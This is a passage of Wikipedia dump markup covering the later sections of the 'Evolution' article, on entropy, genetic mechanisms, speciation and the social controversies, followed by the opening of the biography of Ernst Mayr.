&lt;br style=&quot;clear:both;&quot;&gt;

====Entropy====
Another misconception is the claim that evolution violates the [[second law of thermodynamics]]. The second law holds that in a [[closed system]], [[entropy]] will tend to increase or stay the same. The misconception is that entropy means &quot;disorder&quot; and evolution means an increase in order (thus, a ''decrease'' in entropy).  This is a misunderstanding of both entropy and evolution.  &quot;Entropy&quot; does not mean &quot;disorder&quot; in a generic way (any set of objects may be ordered in any number of ways; disorder from one perspective may be order from another).  Secondly, entropy refers specifically to differences in useable energy; an example of which is temperature differences. (See [[entropy]] for a more precise discussion.)

What ''appears'' to be a violation of the second law is not evolution (meaning, the development of new species of life) but rather life itself. But the existence of life does not violate the second law of thermodynamics for two reasons. First, the second law of thermodynamics applies only to a closed system.  Earth is not a closed system because it receives an energy input from the sun. However much life may proliferate on earth, the energy of the sun does dissipate over time.

Second, as James Clerk Maxwell argued, the second law is not deterministic, it is probabilistic (see [[Statistical mechanics]]).  For example, molecules within a container move at different velocities; the temperature of the contents is an average.  The more time passes, the greater the probability that differences in temperature within the chamber will even out. This fact does not mean that at any given moment there is a small chance that differences in temperature will increase.  As [[Louis Menand]] has observed, Darwin's theory of natural selection operates in an analogous fashion: at any given moment most of the members of a species vary little from the average form.  Nevertheless, at any given moment there are deviations from the average, and it is the natural selection of specific deviations that leads to a new species.  In other words, Darwin applied the same statistical approach to biology that Maxwell applied to physics (Menand 2001: 197-199).

====Organization====
When they consider rocks that just sit there, some people may think it is obvious that matter cannot organize itself.  Matter, in fact, organizes itself in numerous ways. Crystals such as diamonds and snowflakes can and do self-organize. Likewise [[protein]]s fold in very specific ways based on their chemical makeup. [[Amino acid]]s are the building blocks of proteins. While the chemical conditions on the relatively young Earth 3.5 billion years ago, when life evolved, are still being debated, the spontaneous synthesis of amino acids has been shown for a wide range of conditions, in such settings as the [[Miller-Urey experiment]].

====Information====
Misunderstanding the nature of information, some assert that evolution cannot create information, that information is a manifestation of intelligence. [[Physical information]] exists regardless of the presence of an intelligence, and evolution allows for new information whenever a novel mutation or [[gene]] duplication occurs and is kept. It does not need to be beneficial nor visually apparent to be &quot;information.&quot; However, even if those were requirements they would be satisfied with the appearance of [[nylon]]-eating [[bacteria]] [http://www.nmsr.org/nylon.htm], which required new [[enzyme]]s to digest a material that never existed until the modern age.
:''&quot;It wasn't a highly competent design because the bacteria weren't extracting a lot of energy from the process, just enough to get by. And it was based on a simply frame shift reading of a gene that had other uses. But with a simple frame shift of a gene that was already there, it could now &quot;eat&quot; nylon. Future mutations, perhaps point mutations inside that gene, could conceivably heighten the energy gain of the nylon decomp process, and allow the bacteria to truly feast and reproduce faster and more plentifully on just nylon, thus leading perhaps in time to an irreducibly complex arrangement between bacteria who live solely on nylon and a man-made fiber produced only by man.&quot; [http://www.edwardtbabinski.us/evolution/darwin_design.html]

==Science of evolution==
The word &quot;evolution&quot; has been used to refer both to a fact and a theory, and it is important to understand both these different meanings of evolution, and the relationship between fact and theory in science.

===Status of evolution in science===
When &quot;evolution&quot; is used to describe a fact, it refers to the observations that populations of one species of organism do, over time, change into new species.  In this sense, evolution occurs whenever a new species of bacterium evolves that is resistant to antibodies that had been lethal to prior strains.  

When &quot;evolution&quot; is used to describe a [[theory]], it refers to an ''explanation'' for ''why'' and ''how'' evolution (for example, in the sense of &quot;speciation&quot;) occurs.  An example of evolution as theory is the [[Modern synthesis|modern synthesis]] of [[Charles Darwin|Darwin]] and [[Alfred Russell Wallace|Wallace's]] theory of [[Natural selection|natural selection]] and [[Gregor Mendel|Mendel's]] principles of [[Genetics|genetics]].  This theory has three major aspects:

# [[Common descent]] of all [[organism]]s from a single ancestor or ancestral gene pool.
# Manifestation of novel traits in a lineage.
# Mechanisms that cause some traits to persist while others perish.

When people provide evidence for evolution, in some cases they are providing evidence that evolution occurs; in other cases they are providing evidence that a given theory is the best explanation yet as to why and how evolution occurs.

===Distinctions between theory and fact===
:''Main article: [[Theory#Science | Theory]]

The modern synthesis, like its Mendelian and Darwinian antecedents, is a ''scientific theory.'' In plain English, people use the word &quot;theory&quot; to signify &quot;conjecture&quot;, &quot;speculation&quot;, or &quot;opinion.&quot; [http://www.answers.com/theory&amp;r=67] In this sense, &quot;theories&quot; are opposed to &quot;facts&quot; &amp;mdash; parts of the world, or claims about the world, that are real or true regardless of what people think.  In scientific terminology however, a theory is a model of the world (or some portion of it) from which [[falsifiability|falsifiable]] [[hypothesis|hypotheses]] can be generated and tested through controlled experiments, or be verified through [[empiricism|empirical observation]].  In this scientific sense, &quot;facts&quot; are ''parts'' of theories – they are things, or relationships between things, that theories must take for granted in order to make predictions, or that theories predict.  In other words, for scientists &quot;theory&quot; and &quot;fact&quot; do not stand in opposition, but rather exist in a reciprocal relationship – for example, it is a &quot;fact&quot; that every apple ever dropped on earth (under normal, controlled conditions) has been observed to fall towards the center of the planet in a straight line, and the &quot;theory&quot; which explains these observations is the current theory of [[gravitation]]. In this same sense evolution is an observed fact and the modern synthesis is currently the most [[predictive power|powerful]] theory explaining evolution.  Within the [[science]] of biology, modern synthesis has completely replaced earlier accepted explanations for the origin of species, including [[Lamarckism]] and [[creationism]].

===Academic disciplines===
Scholars in a number of academic disciplines and subdisciplines document the fact of evolution, and contribute to explaining its occurrence. Every subdiscipline within [[biology]] both informs and is informed by knowledge of the theory and details of evolution (examples: [[population genetics]], [[ecological genetics]], [[human evolution]], [[molecular evolution]], [[phylogenetics]], [[systematics]], [[evo-devo]]). [[Mathematics]] (example [[bioinformatics]]), [[physics]], [[chemistry]] and others all make important foundational contributions.  Even disciplines as far-removed as [[geology]] and [[sociology]] play a part, since the process of biological evolution has coincided in time and space with the development of both the Earth itself and human civilization upon it.

====Evolutionary biology====
[[Image:RDawkins.jpg|220px|thumb|[[Richard Dawkins]] is a contemporary evolutionary biologist who has written several best-selling books on the subject.]]
[[Evolutionary biology]] is a subfield of [[biology]] concerned with the origin and descent of [[species]], as well as their change over time.

At first it was an [[interdisciplinarity]] field including scientists from many traditional [[taxonomy|taxonomically]] oriented disciplines. For example, it generally includes scientists who may have a specialist training in particular [[organism]]s such as [[mammalogy]], [[ornithology]], or [[herpetology]] but use those organisms as systems to answer general questions in evolution.

Evolutionary biology as an [[academic discipline]] in its own right emerged as a result of the [[modern evolutionary synthesis]] in the [[1930s]] and [[1940s]].  It was not until the [[1970s]] and [[1980s]], however, that a significant number of universities had departments that specifically included the term ''evolutionary biology'' in their titles.

;'''Evolutionary developmental biology'''

[[Evolutionary developmental biology]] is an emergent subfield of evolutionary biology that looks at [[genes]] of related and unrelated organisms. By comparing the explicit [[nucleotide]] sequences of [[Deoxyribonucleic acid|DNA]]/[[RNA]], it is possible to trace and experimentally determine the timelines of species development. For example, gene sequences support the conclusion that chimpanzees are the closest primate ancestor to humans, and that [[arthropods]] (e.g., insects) and [[Vertebrate|vertebrates]] (e.g., humans) have a common biological ancestor.

====Physical anthropology====
[[Physical anthropology]] emerged in the late 1800s as the study of human osteology, and the fossilized skeletal remains of other [[hominid]]s.  At that time anthropologists debated whether their evidence supported Darwin's claims, because skeletal remains revealed temporal and spatial variation among hominids, but Darwin had not offered an explanation of the mechanisms that produce variation.  With the recognition of Mendelian genetics and the rise of the modern synthesis, however, evolution became both the fundamental conceptual framework for, and object of study of, physical anthropologists.  In addition to studying skeletal remains, they began to study genetic variation among human populations (i.e. [[Population genetics|population genetics]]); thus, some physical anthropologists began calling themselves biological anthropologists.

==Modern synthesis==
{{main|Modern evolutionary synthesis}}
The current understanding of the mechanistics of evolution differs considerably from the theory first outlined by Charles Darwin. Importantly, advances in [[genetics]] pioneered by [[Gregor Mendel]] led to a sophisticated understanding of the basis of variation and the mechanisms of inheritance. In addition natural selection has come to be seen as only one of a number of forces acting in evolution. A notable milestone in this regard was the formulation of the [[neutral theory of molecular evolution]] by [[Motoo Kimura]].

===Heredity===
[[Image:DNA123.png|thumb|right|110px|A section of a DNA molecule]]
Gregor Mendel first proposed a gene-based theory of inheritance, discretizing the elements responsible for heritable traits into the fundamental units we now call genes, and laying out a mathematical framework for the segregation and inheritance of variants of a gene, which we now refer to as alleles.

Later research identified the molecule [[DNA]] as the genetic material, through which traits are passed from parent to offspring, and identified genes as discrete elements within DNA. Though largely faithfully maintained within organisms, DNA is both variable across individuals and subject to a process of change or [[mutation]].

Non-DNA based forms of heritable variation exist, which may change the way in which genes are expressed or maintained. The processes that produce these variations leave the genetic information intact and are often reversible. This is called [[epigenetic inheritance]] and may include phenomena such as [[DNA methylation]], [[prion]]s, and [[structural inheritance]]. Investigations continue into whether these mechanisms allow for the production of specific beneficial heritable variation in response to environmental signals. If this were shown to be the case, then some instances of evolution would lie outside of the typical Darwinian framework, which avoids any connection between environmental signals and the production of heritable variation.

Many organisms reproduce by [[sex|sexual reproduction]], which involves [[meiosis|meiotic]] [[recombination]] followed by independent [[Mendelian inheritance#Mendel.27s law of segregation|assortment]] of chromosomes and the joining of the gametes - usually egg and sperm.

===Mechanisms of evolution===
Evolution consists of two basic types of processes: those that introduce new genetic variation into a population, and those that affect the frequencies of existing variation. &quot;Variation proposes and selection disposes.&quot; [http://www.nybooks.com/articles/1151]

The mechanisms of evolution include mutation, linkage, heterozygosity, recombination, gene flow, population structure, drift, natural selection, and adaptation.

These mechanisms of evolution have all been observed in the present and in evidence of their existence in the past. Their study is being used to guide the development of new medicines and other health aids such as the current effort to prevent a [[H5N1]] (i.e. bird flu) pandemic. &lt;ref&gt;The use of evolutionary principles to guide disease diagnosis and drug development with respect to bird flu (i.e. H5N1 virus) [http://www.cdc.gov/ncidod/EID/vol11no10/05-0644.htm]&lt;/ref&gt;

====Mutation====
{{main|Mutation}}

The ultimate source of all genetic variation is mutations. They are permanent, transmissible changes to the [[genetic material]] (usually [[DNA]] or [[RNA]]) of a [[cell (biology)|cell]], and can be caused by &quot;copying errors&quot; in the genetic material during [[cell division]] and by exposure to [[Radioactive decay|radiation]], chemicals, or [[virus (biology)|viruses]]. In multicellular organisms, mutations can be subdivided into ''germline mutations'' that occur in the [[gamete]]s and thus can be passed on to progeny, and ''somatic mutations'' that often lead to the malfunction or death of a cell and can cause [[cancer]].

[[image:dna-split.png|thumb|left|120px|Mutation occurs because of a small number of errors that occur during DNA replication]]

Mutations that are not affected by natural selection are called [[Neutral theory of molecular evolution|neutral mutations]]. Their frequency in the population is governed entirely by genetic drift and gene flow. It is understood that a species' genome, in the absence of selection, undergoes a steady accumulation of neutral mutations. The [[probable mutation effect]] is the proposition that a gene that is not under selection will be destroyed by accumulated mutations. This is an aspect of [[genome degradation]].

Not all mutations are created equal; simple point mutations (substitutions), which comprise the vast majority of genetic variation, usually can only alter the function or level of expression of existing genes. [[Gene duplication]]s, which may occur via a number of mechanisms, are believed to be the major mechanism for the introduction of new genes; most genes belong to larger &quot;families&quot; of genes derived from a common ancestral gene (two genes from a species that are in the same family are dubbed &quot;[[paralog]]s&quot;). Finally, large chromosomal rearrangements (like the fusion of two chromosomes in the chimp/human common ancestor that produced human chromosome 2) almost invariably result in a speciation event.

====Linkage and heterozygosity====
Genetic variation cannot move perfectly freely through the population from one generation to the next. Deviations from a random distribution of alleles (a population where alleles are truly independently assorted and gametes randomly joined) may appear in the form of decreased [[heterozygosity]] - that is, the fraction of the population which has one copy of each allele. Low heterozygosity may result from [[inbreeding]] populations. High heterozygosity is usually a product of some forms of [[balancing selection]] (see below).

A second significant restraint on alleles appears in the form of genetic linkage, where alleles that are nearby on a chromosome tend to be propagated together. This tendency may be measured by comparing the co-occurrence of two alleles, usually quantified as [[linkage disequilibrium]] (LD). A set of alleles that are often co-propagated is called a [[haplotype]]. Strong haplotype blocks are associated with high LD, and can be a product of strong positive selection or rapid demographic changes.

====Recombination====
{{Main|Evolution of sex}}

This haplotype structure is the result of limited rates of recombination combined with drift or selection. It is the random assortment of chromosomes and meiotic recombination that allow mutations that have arisen on the same chromosome to be propagated in the population independently. This allows bad mutations to be purged and beneficial mutations to be retained more efficiently than in asexual populations.

Recombination is mildly mutagenic, which is one of the proposed reasons why it occurs with limited frequency. Recombination also breaks up gene combinations that have been successful in previous generations, and hence should be opposed by selection. However, recombination could be favoured by negative frequency-dependent selection (this is when rare variants increase in frequency) because it leads to more individuals with new and rare gene combinations being produced.

When alleles cannot be separated by recombination (for example in mammalian [[Y chromosome]]s), we see a reduction in [[effective population size]], known as the [[Hill Robertson effect]], and the successive establishment of bad mutations, known as [[Muller's ratchet]].

====Gene flow====
[[Gene flow]] (also called ''gene admixture'' or simply ''migration'') is introduction of variation into a population from an outside population. It is the only mechanism whereby two populations can become closer genetically while increasing their variation. Migration of one population into an area occupied by a second population can result in gene flow. Gene flow operates when geography and culture are not obstacles. When gene flow is impeded by non-geographic obstacles, the situation is termed [[reproductive isolation]] and is considered to be the hallmark of [[speciation]].

One source of genetic variation is [[gene transfer]], the movement of genetic material across species boundaries, which includes [[horizontal gene transfer]], [[antigenic shift]], and [[reassortment]]. Viruses can transfer genes between species [http://66.102.7.104/search?q=cache:tpICVNWaTbgJ:non.fiction.org/lj/community/ref_courses/3484/enmicro.pdf+sex+evolution+%22Horizontal+gene+transfer%22+-human+Conjugation+RNA+DNA&amp;hl=en]. Bacteria can incorporate genes from other dead bacteria, exchange genes with living bacteria, and can have [[plasmid]]s &quot;set up residence separate from the host's genome&quot; [http://www2.nau.edu/~bah/BIO471/Reader/Pennisi_2003.pdf]. 
&quot;Sequence comparisons suggest recent horizontal transfer of many [[gene]]s among diverse [[species]] including across the boundaries of [[phylogenetic]] 'domains'. Thus determining the phylogenetic history of a species can not be done conclusively by determining evolutionary trees for single genes.&quot; [http://opbs.okstate.edu/~melcher/MG/MGW3/MG334.html]

Biologist Gogarten suggests &quot;the original metaphor of a tree no longer fits the data from recent genome research&quot; therefore &quot;biologists [should] use the metaphor of a mosaic to describe the different histories combined in individual genomes and use [the] metaphor of a net to visualize the rich exchange and cooperative effects of HGT among microbes.&quot;  [http://www.esalenctr.org/display/confpage.cfm?confid=10&amp;pageid=105&amp;pgtype=1]

&quot;Using single [[gene]]s as [[phylogenetic marker]]s, it is difficult to trace organismal [[phylogeny]] in the presence of HGT [horizontal gene transfer]. Combining the simple [[coalescence]] model of [[cladogenesis]] with rare HGT [horizontal gene transfer] events suggest there was no single [[last common ancestor]] that contained all of the genes ancestral to those shared among the three domains of [[life]]. Each contemporary [[molecule]] has its own history and traces back to an individual molecule [[cenancestor]]. However, these molecular ancestors were likely to be present in different organisms at different times.&quot; [http://web.uconn.edu/gogarten/articles/TIG2004_cladogenesis_paper.pdf]

====Population structure====
:''Main article [[Population genetics]]''
An important facet of evolution occurs through changes in population structure. The movement of populations and changes in their sizes can have profound impacts on evolution over and above those governed by selection and drift.

Migration can result in admixture leading to the introduction of new genetic variation, or it may result in geographic isolation which may in turn lead to reproductive isolation or speciation.

Populations may also shrink or grow over time, producing &quot;bottlenecks&quot; or &quot;explosions&quot; respectively. Since population size has a profound effect on the relative strengths of genetic drift and natural selection, changes in population size can alter the dynamics of these processes considerably. Such changes may also produce dramatic and dangerous crashes in the level of genetic variation in the population, or allow rapid increases in standing genetic variation.

The free movement of alleles through a population may also be impeded by population structure. For example, most real-world populations are not actually fully interbreeding; geographic proximity has a strong influence on the movement of alleles within the population. Many models of evolution rely on simplifying assumptions of constant population size and fully interbreeding populations for mathematical convenience.

An example of the effect of population structure is the so-called [[founder effect]], resulting from a migration and population bottleneck. In this case, a single, rare allele may suddenly increase very rapidly in frequency if it happened to be prevalent in a small number of &quot;founder&quot; individuals. The frequency of the allele in the resulting population can be much higher than otherwise expected, especially for deleterious, disease-causing alleles.

====Drift====
{{main|Genetic drift}}
Genetic drift describes changes in allele frequency from one generation to the next due to [[sampling variance]]. The frequency of an allele in the offspring generation will vary according to a probability distribution of the frequency of the allele in the parent generation. Thus, over time, allele frequencies will tend to &quot;drift&quot; upward or downward, eventually becoming &quot;fixed&quot; - that is, going to 0% or 100% frequency. Fluctuations in allele frequency between successive generations may result in some alleles disappearing from the population. Two separate populations that begin with the same allele frequencies therefore might drift by random fluctuation into two divergent populations with different allele sets (for example, alleles that are present in one have been lost in the other).

Many aspects of genetic drift depend on the size of the population (generally abbreviated as N). This is especially important in small mating populations, where chance fluctuations from generation to generation can be large. The relative importance of natural selection and genetic drift in determining the fate of new mutations also depends on the population size and the strength of selection: when N times s (population size times strength of selection) is small, genetic drift predominates. When N times s is large, selection predominates. Thus, natural selection is 'more efficient' in large populations, or equivalently, genetic drift is stronger in small populations. Finally, the time for an allele to become fixed in the population by genetic drift (that is, for all individuals in the population to carry that allele) depends on population size, with smaller populations requiring a shorter time to fixation.

====Selection and adaptation====
=====Natural selection=====
{{main|Natural selection}}
[[Image:Peacock.displaying.better.800pix.jpg|thumb|right|200px|A peacock's tail is the canonical example of [[sexual selection]]]]
Natural selection comes from differences in survival and reproduction as a result of the environment. Differential mortality is the survival rate of individuals to their reproductive age. Differential fertility is the total genetic contribution to the next generation. Note that, whereas mutations and genetic drift are random, natural selection is not, as it preferentially selects for different mutations based on differential fitnesses. For example, rolling dice is random, but always picking the higher number on two rolled dice is not random. The central role of natural selection in evolutionary theory has given rise to a strong connection between that field and the study of [[ecology]].

Natural selection can be subdivided into two categories:
* [[Ecological selection]] occurs when organisms that survive and reproduce increase the frequency of their genes in the gene pool over those that do not survive.
* [[Sexual selection]] occurs when organisms which are more attractive to the opposite sex because of their features reproduce more and thus increase the frequency of those features in the gene pool.

Natural selection also operates on mutations in several different ways:
* Positive or [[directional selection]] increases the frequency of a beneficial mutation, or pushes the mean in either direction.
* [[Stabilizing selection|Stabilizing]] or purifying selection favors average characteristics in a population, thus reducing gene variation but retaining the mean.
* [[Balancing selection]] maintains variation within a population through a number of mechanisms, including:
** [[Heterozygote advantage]] or overdominance, where the [[heterozygote]] is more fit than either of the homozygous forms (exemplified by human [[sickle cell anemia]] conferring resistance to [[malaria]])
** [[Frequency-dependent selection]], where rare variants either have increased fitness or decreased fitness, because of their rarity.
* [[Disruptive selection]] favors both extremes, and results in a bimodal distribution of gene frequency.  The mean may or may not shift.
* [[Selective sweep]]s describe the affect of selection acting on [[genetic linkage|linked]] alleles. It comes in two forms:
** [[Background selection]] occurs when a deleterious mutation is selected against, and linked mutations are eliminated along with the deleterious variant, resulting in lower genetic polymorphism in the surrounding region.
** [[Genetic hitchhiking]] occurs when a positive mutation is selected for, and linked mutations are pushed towards fixation along with the positive variant.

=====Adaptation=====
Through the process of natural selection, species become better adapted to their environments. [[Adaptation (biology)|Adaptation]] is any evolutionary process that increases the [[fitness (biology)|fitness]] of the individual, or sometimes the trait that confers increased fitness, e.g. a stronger prehensile tail or greater visual acuity. Note that adaptation is context-sensitive; a trait that increases fitness in one environment may decrease it in another. 

Evolution does not act in a linear direction towards a pre-defined &quot;goal&quot; &amp;mdash; it only responds to various types of adaptionary changes. The belief in a [[teleology|telelogical]] evolution of this sort is known as [[orthogenesis]], and is not supported by the scientific understandings of evolution. One example of this misconception is the erroneous belief humans will evolve [[polydactyly|more fingers]] in the future on account of their increased use of machines such as [[computer]]s. In reality, this would only occur if more fingers offered a significantly higher rate of reproductive success than those not having them, which seems very unlikely at the current time.

Most biologists believe that adaptation occurs through the accumulation of many mutations of small effect. However, [[macromutation]] is an alternative process for adaptation that involves a single, very large scale mutation.

===Speciation and extinction===
[[Image:Allosaurus1.jpg|right|thumb|200px|An [[Allosaurus]] skeleton.]]
[[Speciation]] is the creation of two or more species from one. This may take place by various mechanisms. [[Allopatric speciation]] occurs in populations that become isolated geographically, such as by [[habitat fragmentation]] or migration. [[Sympatric speciation]] occurs when new species emerge in the same geographic area. [[Ernst Mayr]]'s [[peripatric speciation]] is a type of speciation that exists in between the extremes of allopatry and sympatry. Peripatric speciation is a critical underpinning of the theory of [[punctuated equilibrium]].

[[Extinction]] is the disappearance of species (i.e. [[gene pool]]s). The moment of extinction generally occurs at the death of the last individual of that species. Extinction is not an unusual event in [[geological time]] &amp;mdash; species are created by speciation, and disappear through extinction. The [[Permian-Triassic extinction event]] was the Earth's most severe extinction event, rendering extinct 90% of all marine species and 70% of terrestrial vertebrate species.  In the [[Cretaceous-Tertiary extinction event]] many forms of life perished (including approximately 50% of all [[genus|genera]]), the most often mentioned among them being the extinction of the non-[[avian]] [[dinosaur]]s (See Image 5).

==Social and religious controversies==
{{main_articles|[[Social effect of evolutionary theory]] and [[Creation-evolution controversy]]}}

[[Image:Darwin ape.jpg|left|150px|thumb|A satirical 1871 image of [[Charles Darwin]] as an [[ape]] reflects part of the social controversy over whether humans and apes share a common lineage.]]

There has been constant controversy surrounding the ideas presented by ''[[The Origin of Species]]'' since it was first printed in 1859. Since the early twentieth century, however, the idea that biological evolution of some form occurred and is responsible for speciation has been almost completely uncontested within the scientific community. 

Most controversy over the theory has come because of its philosophical, cosmological, and religious implications, and supporters as well as detractors have interpreted it as generally indicating that human beings are, like all animals, evolved, and that this account of the origins of humankind is squarely at odds with many religious interpretations. The idea that humans are &quot;merely&quot; animals, and are genetically very closely related to other [[primate]]s, has been independently argued as a repellent notion by generations of detractors.

Others also interpreted the truth of the theory to imply varying types of social changes &amp;mdash; one prominent example is the idea of [[eugenics]], formulated by Darwin's cousin [[Francis Galton]], which argues for the improvement of human heredity by means of political policies. Others have found different political interpretations which have been used as arguments both for and against the theory.

The questions raised about the relation of evolution to the origins of humans have made it an especially tenacious issue with some [[origin belief]]s. It is viewed by some Judeo-Christians as contradicting their beliefs on the origins of humankind as described in the book of [[Genesis]]. In some countries &amp;mdash; notably in the [[United States]] &amp;mdash; this has led to what has been called the [[Creation-evolution controversy|creation-evolution controversy]], which has focused primarily on struggles over teaching curriculum.  While many other fields of science, such as [[physical cosmology|cosmology]] and [[earth science]], also conflict with a literal interpretation of religious texts, evolutionary studies have borne the brunt of these controversies.

==See also==
&lt;p&gt;&lt;/p&gt;
{| style=&quot;background-color: transparent; width: {{{width|100%}}}&quot;
&lt;p&gt;&lt;/p&gt;
| width=&quot;50%&quot; align=&quot;{{{align|left}}}&quot; valign=&quot;{{{valign|top}}}&quot; |
*[[Abiogenesis]]
*[[Altruism in animals]]
*[[Anagenesis]]
*[[Argument from evolution]]
*[[Atavism]]
*[[Animal evolution]]
*[[Behavioral ecology]]
*[[Catagenesis (biology)|Catagenesis]]
*[[Cladistics]]
*[[Cladogenesis]]
*[[Convergent evolution]]
*[[Creation-evolution controversy]]
*[[Dual inheritance theory]]
*[[Endosymbiont]]
*[[Eugenics]]
*[[Evolution of sex]]
*[[Evolutionary algorithm]]
*[[Evolutionary art]]
*[[Evolutionary biology]]
*[[Evolutionary medicine]]
*[[Evolution of multicellularity]]
*[[Evolutionary psychology]]
*[[Evolutionary tree]]
*[[Evolvability]]
&lt;p&gt;&lt;/p&gt;
| width=&quot;50%&quot; align=&quot;{{{align|left}}}&quot; valign=&quot;{{{valign|top}}}&quot; |
*[[Experimental evolution]]
*[[Fitness landscape]]
*[[Genetic algorithm]]
*[[Genetics]]
*[[Gradualism]]
*[[Human behavioral ecology]]
*[[Human evolution]]
*[[Instinct]]
*[[List of publications on evolution and human behavior]]
*[[Modern evolutionary synthesis]]
*[[Natural science]]
*[[Natural selection]]
*[[Neutral theory of molecular evolution]]
*[[Niche construction]]
*[[Origin of life]]
*[[Parallel evolution]]
*[[Punctuated equilibrium]]
*[[Quantum evolution]]
*[[Quasispecies model]]
*[[Scientific method]]
*[[Sexual selection]]
*[[Social effect of evolutionary theory]]
*[[Teratogenesis]]
&lt;p&gt;&lt;/p&gt;
|}

==Notes and references==
&lt;div style=&quot;font-size: 85%&quot;&gt;
&lt;references /&gt;

*Zimmer, Carl. ''Evolution: The Triumph of an Idea''. Perennial (October 1, 2002). ISBN 0060958502
*Larson, Edward J. ''Evolution: The Remarkable History of a Scientific Theory'' (Modern Library Chronicles). Modern Library (May 4, 2004). ISBN 0679642889
*Mayr, Ernst. ''What Evolution Is''. Basic Books (October, 2002). ISBN 0465044263
*Menand, Louis. 2001 ''The Metaphysical Club''.  New York: Farar, Straus and Giraux.  ISBN0374199639 
*Gigerenzer, Gerd, et al., ''The empire of chance: how probability changed science and everyday life'' (New York: Cambridge University Press, 1989).
*Smith, D. C. 1988. Heritable divergence of Rhagoletis pomonella host races by seasonal asynchrony. ''Nature'' '''336''': 66-67.
*Williams, G.C. (1966). Adaptation and Natural Selection: A Critique of some Current Evolutionary Thought . Princeton, N.J.: Princeton University Press.
*[[Sean B. Carroll]], 2005, ''Endless Forms Most Beautiful: The New Science of Evo Devo and the Making of the Animal Kingdom'', W. W. Norton &amp; Company. ISBN 0393060160
*[[Natalia S. Gavrilova]] &amp; [[Leonid A. Gavrilov]], 2002, ''[http://health.families.com/evolution-of-aging-458-467-eoa Evolution of Aging]'',  In: David J. Ekerdt (ed.)  Encyclopedia of Aging, New York, Macmillan Reference USA, 2002, vol.2, 458-467.ISBN 0028654722
*[[Bill Bryson]], ''A Short History of Nearly Everything,'' Black Swan Books (2004), ISBN 0-552-99704-8
&lt;/div&gt;

==External links==
{{Spoken Wikipedia|Evolution.ogg|2005-04-18}} &lt;!-- updated changed sections 2005-04-18 --&gt;
* [http://www.talkorigins.org Talk.Origins Archive] — see also [[talk.origins]]
* [http://evolution.berkeley.edu/ Understanding Evolution] from [[University of California, Berkeley]]
* [http://nationalacademies.org/evolution/ National Academies Evolution Resources]
* [http://www.evowiki.org/index.php/Main_Page EvoWiki] — A wiki whose goal is to promote general evolution education, and provide mainstream scientific responses to the arguments of antievolutionists.
* [http://www.chains-of-reason.org/chains/evolution-by-natural-selection/introduction.htm Evolution by Natural Selection] — An introduction to the logic of evolution by natural selection
* [http://www.pbs.org/wgbh/evolution/index.html Evolution] — Provided by ''[[Public Broadcasting Service|PBS]]''.
* [http://www.newscientist.com/channel/life/evolution Everything you wanted to know about evolution] — Provided by ''[[New Scientist| New Scientist]]''.
* [http://evol.allenpress.com/evolonline/?request=index-html International Journal of Organic Evolution]
* [http://science.howstuffworks.com/evolution.htm/printable Howstuffworks.com — How Evolution Works]
* [http://pages.britishlibrary.net/charles.darwin/ Charles Darwin's writings]
* [http://www.genomenewsnetwork.org/categories/index/genome/evolution.php Evolution News from Genome News Network (GNN)]
* [http://www.nap.edu/books/0309063647/html/ National Academy Press: Teaching About Evolution and the Nature of Science]
* [http://www.evolution.mbdojo.com/evolution-for-beginners.html Evolution for beginners]
* [http://www.rmcybernetics.com/science/cybernetics/ai.htm RMCybernetics - AI] Evolution can create emergent behavior in a computer program.
* [http://www.sciencefriday.com/pages/2005/Nov/hour2_111805.html NPR - Science Friday: links to museums, articles and books.]
*[http://www.actionbioscience.org/evolution/lenski.html &quot;Evolution: Fact and Theory&quot; by Richard E. Lenski]
*[http://www.2think.org/evolutionbylevel.shtml Evolution by level] Book reviews of books on evolution by knowledge level. 

;Evolution Simulators
* [http://www.truthtree.com/evolve.shtml Isolated species evolves to interact more efficiently with its environment (java applet)]
* [http://obermuhlner.com/public/Projects/Applets/Blobs/index.html Evolution in a predator-prey relationship (java applet)]

{{evolution}}
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  </page>
  <page>
    <title>Ernst Mayr</title>
    <id>9238</id>
    <revision>
      <id>41186653</id>
      <timestamp>2006-02-25T17:14:17Z</timestamp>
      <contributor>
        <username>John H, Morgan</username>
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      <minor />
      <text xml:space="preserve">[[Image:Mayr.jpg|right|thumb|250px|Ernst Mayr]]

'''Ernst Mayr''' ([[July 5]], [[1904]], [[Kempten im Allgäu|Kempten]], [[Germany]] &amp;ndash; [[February 3]], [[2005]], [[Bedford, Massachusetts]] [[USA]]), was one of the 20th century's leading evolutionary [[biologists]]. He was at the same time a naturalist, an explorer, an [[ornithologist]] and science historian. His work contributed to the conceptual revolution that led to the [[modern evolutionary synthesis]] of [[Gregor Mendel|Mendelian]] [[genetics]] and [[Charles Darwin|Darwinian]] [[evolution]], and to the development of the [[biology|biological]] [[species]] concept. 

Neither [[Charles Darwin|Darwin]] nor anyone else in his time knew the answer to the 'species problem':  how could different [[species]] evolve from one common ancestor. Ernst Mayr approached the problem with a new definition for the concept 'species'. In his book '[[Systematics and the Origin of Species]]' (1942) he wrote that a species is not a group of [[Morphology (biology)|morphologically]] similar individuals, but a group that can breed only among themselves, excluding all others. When groups of identical individuals get isolated, the sub-populations will start to differ by [[genetic drift]] and natural selection over a period of time, and thereby evolve into new species.

His theory of [[peripatric speciation]] (a more precise term for the subset of [[allopatric speciation]] he supported) based on his work on birds is considered as one typical mode of [[speciation]], and is the basis of the theory of [[punctuated equilibrium]]. Apart from biological subjects, his prolific writings include works on the [[philosophy of science|philosophy]] and [[history of science]] in general, and of [[philosophy of biology|biology]] in particular. 

==Biography==
Mayr was born in Kempten and completed his high school education in [[Dresden]]. He planned to become a physician and completed his preclinical studies in 1925. However he was attracted to ornithology, and was introduced to [[Erwin Stresemann]] due to his claimed sighting of [[Red-crested Pochard]]s in Germany, a species that had not been seen in Europe for 77 years. After a tough interrogation, Stresemann accepted and published the sighting as authentic. Stresemann offered him a position with the Berlin Museum and the prospect of bird-collecting trips to the tropics on the condition that he completed his PhD studies in 16 months. Mayr completed his PhD in ornithology at the [[University of Berlin]] in June 1926 at the age of 21 and accepted the position offered to him at the Museum. 

At the International Zoological Congress at Budapest in 1927, Mayr was introduced by Stresemann to banker and naturalist [[Walter Rothschild, 2nd Baron Rothschild|Walter Rothschild]], who asked him to undertake an expedition to New Guinea on behalf of himself and the [[American Museum of Natural History]] in New York. In New Guinea Mayr collected several thousands bird skins (he named 26 new bird species during his lifetime) and, in the process also named 38 new [[orchid]] species. During his stay in New Guinea, he was invited to accompany the Whitney South Seas Expedition to the [[Solomon Islands]].

